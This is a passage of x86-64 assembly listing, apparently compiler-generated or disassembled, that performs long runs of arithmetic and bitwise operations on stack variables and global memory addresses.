movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc07c], ax
movsx eax, word [rsp + 0x1524]
movsx ecx, word [0x1401cc04c]
add eax, ecx
mov word [rsp + 0x1568], ax
movzx eax, byte [rsp + 0x215]
mov rcx, qword [rsp + 0x9818]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb2], al
movzx eax, byte [rsp + 0x1e3]
mov byte [rsp + 0x23d], al
mov rax, qword [rsp + 0x9938]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f08]
mov word [rcx], ax
mov rax, qword [rsp + 0x91e8]
mov rax, qword [rax]
mov qword [rsp + 0x9b90], rax
mov rax, qword [rsp + 0x8f20]
mov rcx, qword [rsp + 0x9b88]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x9480]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9910]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9228]
mov qword [rsp + 0x9b98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b98]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4e48], eax
mov eax, dword [rsp + 0x4cf0]
mov dword [rsp + 0x4fd4], eax
movzx eax, byte [rsp + 0x200]
mov rcx, qword [rsp + 0x9430]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x1401cd7e0]
mov byte [rcx], al
mov rax, qword [0x1401cd880]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1514], ax
mov rax, qword [rsp + 0x8fe8]
movzx eax, word [rax]
mov word [rsp + 0x1654], ax
movzx eax, byte [rsp + 0xb2]
movzx ecx, byte [rsp + 0x22a]
and eax, ecx
mov byte [rsp + 0x1ea], al
movsx eax, byte [rsp + 0x16a]
mov rcx, qword [rsp + 0x9620]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x107], al
mov rax, qword [rsp + 0x9018]
mov rax, qword [rax]
mov qword [rsp + 0x9ba0], rax
mov rax, qword [rsp + 0x9420]
mov rcx, qword [rsp + 0x94a0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9580], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov ecx, dword [0x1401cd710]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ae4], eax
mov rax, qword [rsp + 0x90b0]
mov ecx, dword [rsp + 0x4e4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x486c], eax
lea rax, [0x1401cc03c]
mov qword [0x1401cd8f0], rax
mov rax, qword [rsp + 0x92a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x95c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x232], al
mov rax, qword [rsp + 0x92a8]
movzx eax, byte [rax]
mov byte [rsp + 0x23e], al
movzx eax, word [rsp + 0x1528]
mov rcx, qword [0x1401cd8c0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1604], ax
lea rax, [rsp + 0x204]
mov qword [rsp + 0x9ba8], rax
mov rax, qword [rsp + 0x93f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9428]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x95b8], rax
mov rax, qword [rsp + 0x9030]
mov eax, dword [rax]
mov dword [rsp + 0x4fd8], eax
mov rax, qword [rsp + 0x96c8]
mov rcx, qword [rsp + 0x90c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x9408]
mov ecx, dword [rsp + 0x479c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4928], eax
mov rax, qword [rsp + 0x9208]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78c]
sar eax, cl
mov byte [0x1401cc042], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0x9bb0], rax
movsx eax, word [rsp + 0x11f4]
movsx ecx, word [rsp + 0x14e8]
or eax, ecx
mov word [rsp + 0x1628], ax
mov rax, qword [0x1401cd810]
movzx eax, word [rax]
mov word [rsp + 0x1658], ax
mov rax, qword [rsp + 0x8d50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9340]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9938]
mov word [rcx], ax
mov rax, qword [rsp + 0x97b0]
mov rcx, qword [rsp + 0x8e70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae0], rax
lea rax, [rsp + 0x87c8]
mov qword [rsp + 0x9bb8], rax
mov rax, qword [rsp + 0x97f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f84]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f04], eax
mov eax, dword [rsp + 0x4fc8]
mov dword [rsp + 0x4fdc], eax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9aa8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x180], al
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8c48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cd78a], al
mov rax, qword [rsp + 0x9640]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1594], ax
mov rax, qword [rsp + 0x94f8]
movzx eax, word [rax]
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x9b08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x14e0], ax
mov eax, dword [rsp + 0x4f44]
mov dword [rsp + 0x4fe0], eax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4eb8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fb8], eax
mov rax, qword [rsp + 0x9428]
mov rcx, qword [rsp + 0x8f28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9130]
mov qword [rcx], rax
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
mov qword [rsp + 0x9bc0], rax
mov rax, qword [rsp + 0x9778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15d4]
add eax, ecx
mov rcx, qword [rsp + 0x8d50]
mov word [rcx], ax
mov rax, qword [rsp + 0x9920]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21e]
add eax, ecx
mov byte [0x1401cc03f], al
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x23f], al
movsx eax, word [rsp + 0x1568]
mov rcx, qword [rsp + 0x9550]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x15e8], ax
lea rax, [rsp + 0x161c]
mov qword [rsp + 0x9bc8], rax
mov rax, qword [rsp + 0x99e8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x94d8]
mov qword [rsp + 0x9bd0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9bd0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4f30], eax
mov rax, qword [rsp + 0x8d58]
mov rcx, qword [rsp + 0x8ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9188], rax
mov eax, dword [rsp + 0x4f58]
mov ecx, dword [rsp + 0x4ee8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4968], eax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95b8], rax
lea rax, [rsp + 0x1524]
mov qword [rsp + 0x9bd8], rax
movzx eax, byte [rsp + 0x1e1]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [0x1401cc043], al
mov rax, qword [0x1401cd8a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x9b58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x98f0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9620]
movzx eax, byte [rax]
mov byte [rsp + 0x240], al
mov rax, qword [rsp + 0x8de0]
mov ecx, dword [rsp + 0x4ae4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x93c8]
mov dword [rcx], eax
lea rax, [rsp + 0x8e00]
mov qword [rsp + 0x9be0], rax
mov rax, qword [rsp + 0x8f88]
mov ecx, dword [rsp + 0x4dfc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9308]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9588]
mov rcx, qword [rsp + 0x9450]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0x9ad8]
movzx eax, word [rax]
mov word [rsp + 0x1660], ax
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [0x1401cc00d]
add eax, ecx
mov rcx, qword [0x1401cd7a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x159c]
mov rcx, qword [rsp + 0x94a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8f08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x223]
mov byte [rsp + 0x241], al
movsx eax, byte [rsp + 0x20a]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
lea rax, [rsp + 0x1524]
mov qword [rsp + 0x9be8], rax
mov rax, qword [rsp + 0x8de0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x91d0]
mov qword [rsp + 0x9bf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9bf0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9910]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9388]
mov rcx, qword [rsp + 0x90a0]
mov qword [rsp + 0x9bf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9bf8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x90a0]
mov qword [rcx], rax
lea rax, [rsp + 0x94d0]
mov qword [rsp + 0x9c00], rax
mov rax, qword [rsp + 0x9528]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f24]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4dfc], eax
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov word [0x1401cd8f8], ax
lea rax, [rsp + 0x20a]
mov qword [rsp + 0x9c08], rax
movzx eax, byte [rsp + 0x223]
mov rcx, qword [rsp + 0x9ab8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1f5], al
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e3]
and eax, ecx
mov byte [rsp + 0xca], al
lea rax, [rsp + 0x14f4]
mov qword [rsp + 0x9c10], rax
mov rax, qword [rsp + 0x99c8]
mov rcx, qword [rsp + 0x9ba0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0x9000]
mov eax, dword [rax]
mov dword [rsp + 0x4fe4], eax
mov rax, qword [rsp + 0x98f8]
mov ecx, dword [rsp + 0x4f70]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x96f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9238]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x96c0], rax
movzx eax, byte [rsp + 0x1ec]
mov rcx, qword [rsp + 0x93e8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc00e], al
lea rax, [rsp + 0x21d]
mov qword [rsp + 0x9c18], rax
mov rax, qword [rsp + 0x8ca8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9318]
mov byte [rcx], al
movzx eax, word [rsp + 0x14dc]
mov word [rsp + 0x1664], ax
mov rax, qword [rsp + 0x9498]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1560]
sub eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4f70]
mov ecx, dword [rsp + 0x4fd4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9360]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8be8]
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0x9910]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ca4], eax
lea rax, [rsp + 0x9b10]
mov qword [rsp + 0x9c28], rax
lea rax, [rsp + 0x1ec]
mov qword [0x1401cd900], rax
movzx eax, word [rsp + 0x15c8]
mov rcx, qword [rsp + 0x8fc8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15ac], ax
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x242], al
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1640]
or eax, ecx
mov rcx, qword [rsp + 0x9a40]
mov word [rcx], ax
movzx eax, word [rsp + 0x15f8]
movzx ecx, word [rsp + 0x15ac]
shl eax, cl
mov rcx, qword [rsp + 0x99d8]
mov word [rcx], ax
lea rax, [rsp + 0x8b40]
mov qword [rsp + 0x9c30], rax
mov eax, dword [rsp + 0x4e68]
mov rcx, qword [rsp + 0x9400]
mov qword [rsp + 0x9c38], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c38]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x94d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8d18]
mov eax, dword [rax]
mov dword [rsp + 0x4fe8], eax
mov rax, qword [rsp + 0x9570]
mov rcx, qword [rsp + 0x97b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9520]
mov qword [rcx], rax
lea rax, [rsp + 0x143]
mov qword [0x1401cd908], rax
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78e]
and eax, ecx
mov rcx, qword [rsp + 0x90e0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1528]
movzx ecx, word [rsp + 0x163c]
sub eax, ecx
mov word [rsp + 0x147c], ax
movsx eax, word [rsp + 0x14e8]
movsx ecx, word [rsp + 0x1568]
sub eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
lea rax, [rsp + 0x1db]
mov qword [rsp + 0x9c40], rax
mov rax, qword [rsp + 0x9780]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8560]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e70], rax
mov rax, qword [rsp + 0x93a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f74]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f2c]
mov dword [rsp + 0x4fec], eax
mov rax, qword [rsp + 0x8d40]
mov rcx, qword [rsp + 0x9b38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9250]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f70]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc038], ax
movzx eax, byte [rsp + 0x121]
mov byte [rsp + 0x243], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x227]
add eax, ecx
mov byte [rsp + 0x241], al
lea rax, [rsp + 0x14f0]
mov qword [rsp + 0x9c48], rax
movsx eax, byte [0x1401cc00b]
mov rcx, qword [rsp + 0x96b8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0x9388]
mov rcx, qword [rsp + 0x9168]
mov qword [rsp + 0x9c50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c50]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9b88], rax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov dword [rsp + 0x4ff0], eax
mov rax, qword [rsp + 0x9a60]
mov rcx, qword [rsp + 0x9538]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9660], rax
mov eax, dword [rsp + 0x4cd4]
mov dword [rsp + 0x4ff4], eax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
mov rcx, qword [0x1401cd780]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401cd770]
mov word [rcx], ax
mov rax, qword [rsp + 0x9398]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15e4], ax
movzx eax, byte [rsp + 0x215]
mov rcx, qword [rsp + 0x96e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e1], al
lea rax, [rsp + 0x1e5]
mov qword [rsp + 0x9c58], rax
movsx eax, word [rsp + 0x1524]
movsx ecx, word [rsp + 0x14d0]
add eax, ecx
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0x97c0]
mov rax, qword [rax]
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x92d0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x95b8], rax
mov rax, qword [rsp + 0x9698]
mov ecx, dword [rsp + 0x4dc4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ec8], eax
mov rax, qword [rsp + 0x9280]
mov eax, dword [rax]
mov dword [rsp + 0x4ff8], eax
lea rax, [0x1401cc018]
mov qword [0x1401cd910], rax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e4]
add eax, ecx
mov byte [rsp + 0x243], al
movzx eax, word [rsp + 0x15b4]
mov word [rsp + 0x1668], ax
movzx eax, byte [rsp + 0x224]
mov rcx, qword [rsp + 0x90e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9a20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15f4]
sub eax, ecx
mov word [rsp + 0x1628], ax
mov rax, qword [rsp + 0x8ed0]
mov rax, qword [rax]
mov qword [rsp + 0x9c68], rax
mov rax, qword [rsp + 0x9b00]
mov rcx, qword [0x1401cd728]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ae8], rax
lea rax, [rsp + 0x4ef8]
mov qword [rsp + 0x9c70], rax
mov rax, qword [rsp + 0x98f8]
mov ecx, dword [rsp + 0x4f84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4fb4], eax
lea rax, [rsp + 0x15ac]
mov qword [rsp + 0x9c78], rax
mov rax, qword [0x1401cd7a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9028]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd828]
mov word [rcx], ax
mov rax, qword [rsp + 0x98c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x202]
sub eax, ecx
mov rcx, qword [rsp + 0x9318]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd6]
mov rcx, qword [0x1401cd7c8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9848]
mov byte [rcx], al
movsx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0x9b08]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12e8], ax
mov eax, dword [0x1401cd720]
mov ecx, dword [rsp + 0x4f1c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9958]
mov qword [rsp + 0x9c80], rax
mov rax, qword [rsp + 0x9128]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9150]
mov qword [rsp + 0x9c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9c88]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9438], rax
mov rax, qword [rsp + 0x9b78]
mov ecx, dword [0x1401cd710]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x94b8]
mov dword [rcx], eax
lea rax, [rsp + 0x207]
mov qword [rsp + 0x9c90], rax
lea rax, [rsp + 0x121]
mov qword [0x1401cd918], rax
movsx eax, word [rsp + 0xeb0]
mov rcx, qword [rsp + 0x9ad8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8d30]
mov word [rcx], ax
movzx eax, word [0x1401cc060]
mov word [rsp + 0x166c], ax
movsx eax, byte [rsp + 0x1dc]
movsx ecx, byte [rsp + 0x230]
sub eax, ecx
mov rcx, qword [rsp + 0x9a48]
mov byte [rcx], al
mov rax, qword [rsp + 0x96e8]
mov rcx, qword [rsp + 0x9888]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9ae0], rax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0x9c98], rax
mov rax, qword [rsp + 0x9548]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f68], eax
mov rax, qword [rsp + 0x9108]
mov eax, dword [rax]
mov dword [rsp + 0x4ffc], eax
movsx eax, word [0x1401cd714]
movsx ecx, word [rsp + 0x1620]
add eax, ecx
mov word [rsp + 0x15e8], ax
lea rax, [rsp + 0x212]
mov qword [0x1401cd920], rax
movzx eax, word [rsp + 0x1648]
movzx ecx, word [rsp + 0x14f8]
sub eax, ecx
mov word [rsp + 0x14cc], ax
lea rax, [rsp + 0x20e]
mov qword [rsp + 0x9ca0], rax
mov rax, qword [rsp + 0x9448]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x92e8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1538], ax
lea rax, [rsp + 0x91a0]
mov qword [rsp + 0x9ca8], rax
mov eax, dword [rsp + 0x4fbc]
mov ecx, dword [rsp + 0x4e60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ed4], eax
lea rax, [rsp + 0x9560]
mov qword [rsp + 0x9cb0], rax
mov rax, qword [rsp + 0x9060]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9240]
mov qword [rsp + 0x9cb8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9cb8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x94b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9248]
movsx eax, word [rax]
mov rcx, qword [0x1401cd8d8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x165c], ax
movzx eax, byte [rsp + 0x1fb]
movzx ecx, byte [rsp + 0x215]
or eax, ecx
mov byte [0x1401cd78b], al
mov rax, qword [rsp + 0x96e0]
movzx eax, byte [rax]
mov byte [rsp + 0x244], al
mov rax, qword [rsp + 0x90c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15bc]
xor eax, ecx
mov word [rsp + 0x1604], ax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x9cc0], rax
movsx eax, word [rsp + 0x14e0]
movsx ecx, word [rsp + 0x14c4]
and eax, ecx
mov rcx, qword [rsp + 0x9950]
mov word [rcx], ax
mov rax, qword [rsp + 0x90a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9770]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b50], rax
lea rax, [rsp + 0x98e0]
mov qword [rsp + 0x9cc8], rax
mov eax, dword [rsp + 0x4fb8]
mov ecx, dword [rsp + 0x4ebc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
lea rax, [rsp + 0x4f04]
mov qword [rsp + 0x9cd0], rax
mov rax, qword [rsp + 0x9bb0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd758]
mov byte [rcx], al
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x92e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1588], ax
mov rax, qword [rsp + 0x9688]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x92f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f1], al
lea rax, [rsp + 0x1548]
mov qword [rsp + 0x9cd8], rax
mov rax, qword [rsp + 0x8cc0]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd7a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9178]
mov byte [rcx], al
mov rax, qword [rsp + 0x92b0]
mov rax, qword [rax]
mov qword [rsp + 0x9ce0], rax
mov rax, qword [rsp + 0x90d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9b80]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9018]
mov qword [rcx], rax
lea rax, [rsp + 0x4f20]
mov qword [rsp + 0x9ce8], rax
mov rax, qword [rsp + 0x8f50]
mov eax, dword [rax]
mov ecx, dword [0x1401cc01c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fec], eax
movzx eax, word [rsp + 0x14f8]
movzx ecx, word [rsp + 0x1590]
add eax, ecx
mov word [0x1401cc09c], ax
movsx eax, byte [rsp + 0x240]
mov rcx, qword [0x1401cd860]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9cc0]
mov byte [rcx], al
movzx eax, word [rsp + 0x1650]
mov word [rsp + 0x1670], ax
mov rax, qword [rsp + 0x9ab0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9be8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x91c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x22e]
mov byte [rsp + 0x245], al
mov eax, dword [rsp + 0x4828]
movzx ecx, al
mov eax, dword [0x1401cd720]
shr eax, cl
mov rcx, qword [rsp + 0x93f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8ae8]
mov rcx, qword [rsp + 0x9a00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9700], rax
mov rax, qword [rsp + 0x9048]
mov ecx, dword [rsp + 0x4ecc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4748], eax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x96c0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x93e0], rax
mov rax, qword [rsp + 0x9850]
movsx eax, word [rax]
mov rcx, qword [0x1401cd828]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401cd820], ax
movzx eax, byte [rsp + 0x219]
mov byte [rsp + 0x246], al
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0x9b18]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cd78f]
add eax, ecx
mov byte [rsp + 0x228], al
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
mov byte [rsp + 0x247], al
mov eax, dword [rsp + 0x4f3c]
mov ecx, dword [rsp + 0x4e7c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8f48]
mov dword [rcx], eax
lea rax, [rsp + 0x9a78]
mov qword [rsp + 0x9cf0], rax
mov eax, dword [rsp + 0x4fd0]
mov ecx, dword [rsp + 0x4f40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9b28]
mov dword [rcx], eax
mov rax, qword [rsp + 0x96c8]
mov rcx, qword [rsp + 0x9ae0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9c80], rax
movzx eax, byte [rsp + 0x244]
movzx ecx, byte [0x1401cd78d]
add eax, ecx
mov byte [0x1401cc046], al
movzx eax, word [rsp + 0x11f4]
mov word [rsp + 0x1674], ax
mov rax, qword [rsp + 0x8c48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe1]
sub eax, ecx
mov rcx, qword [rsp + 0x8cc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9778]
movzx eax, word [rax]
mov word [rsp + 0x1678], ax
movsx eax, word [rsp + 0x1660]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9098]
mov word [rcx], ax
mov rax, qword [rsp + 0x9910]
mov eax, dword [rax]
mov dword [rsp + 0x5000], eax
mov rax, qword [rsp + 0x8d70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8560]
shr rax, cl
mov qword [rsp + 0x91b8], rax
mov eax, dword [rsp + 0x4ef4]
mov rcx, qword [rsp + 0x9698]
mov qword [rsp + 0x9cf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9cf8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x94d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9948]
mov rax, qword [rax]
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0x8fa0]
movsx eax, byte [rax]
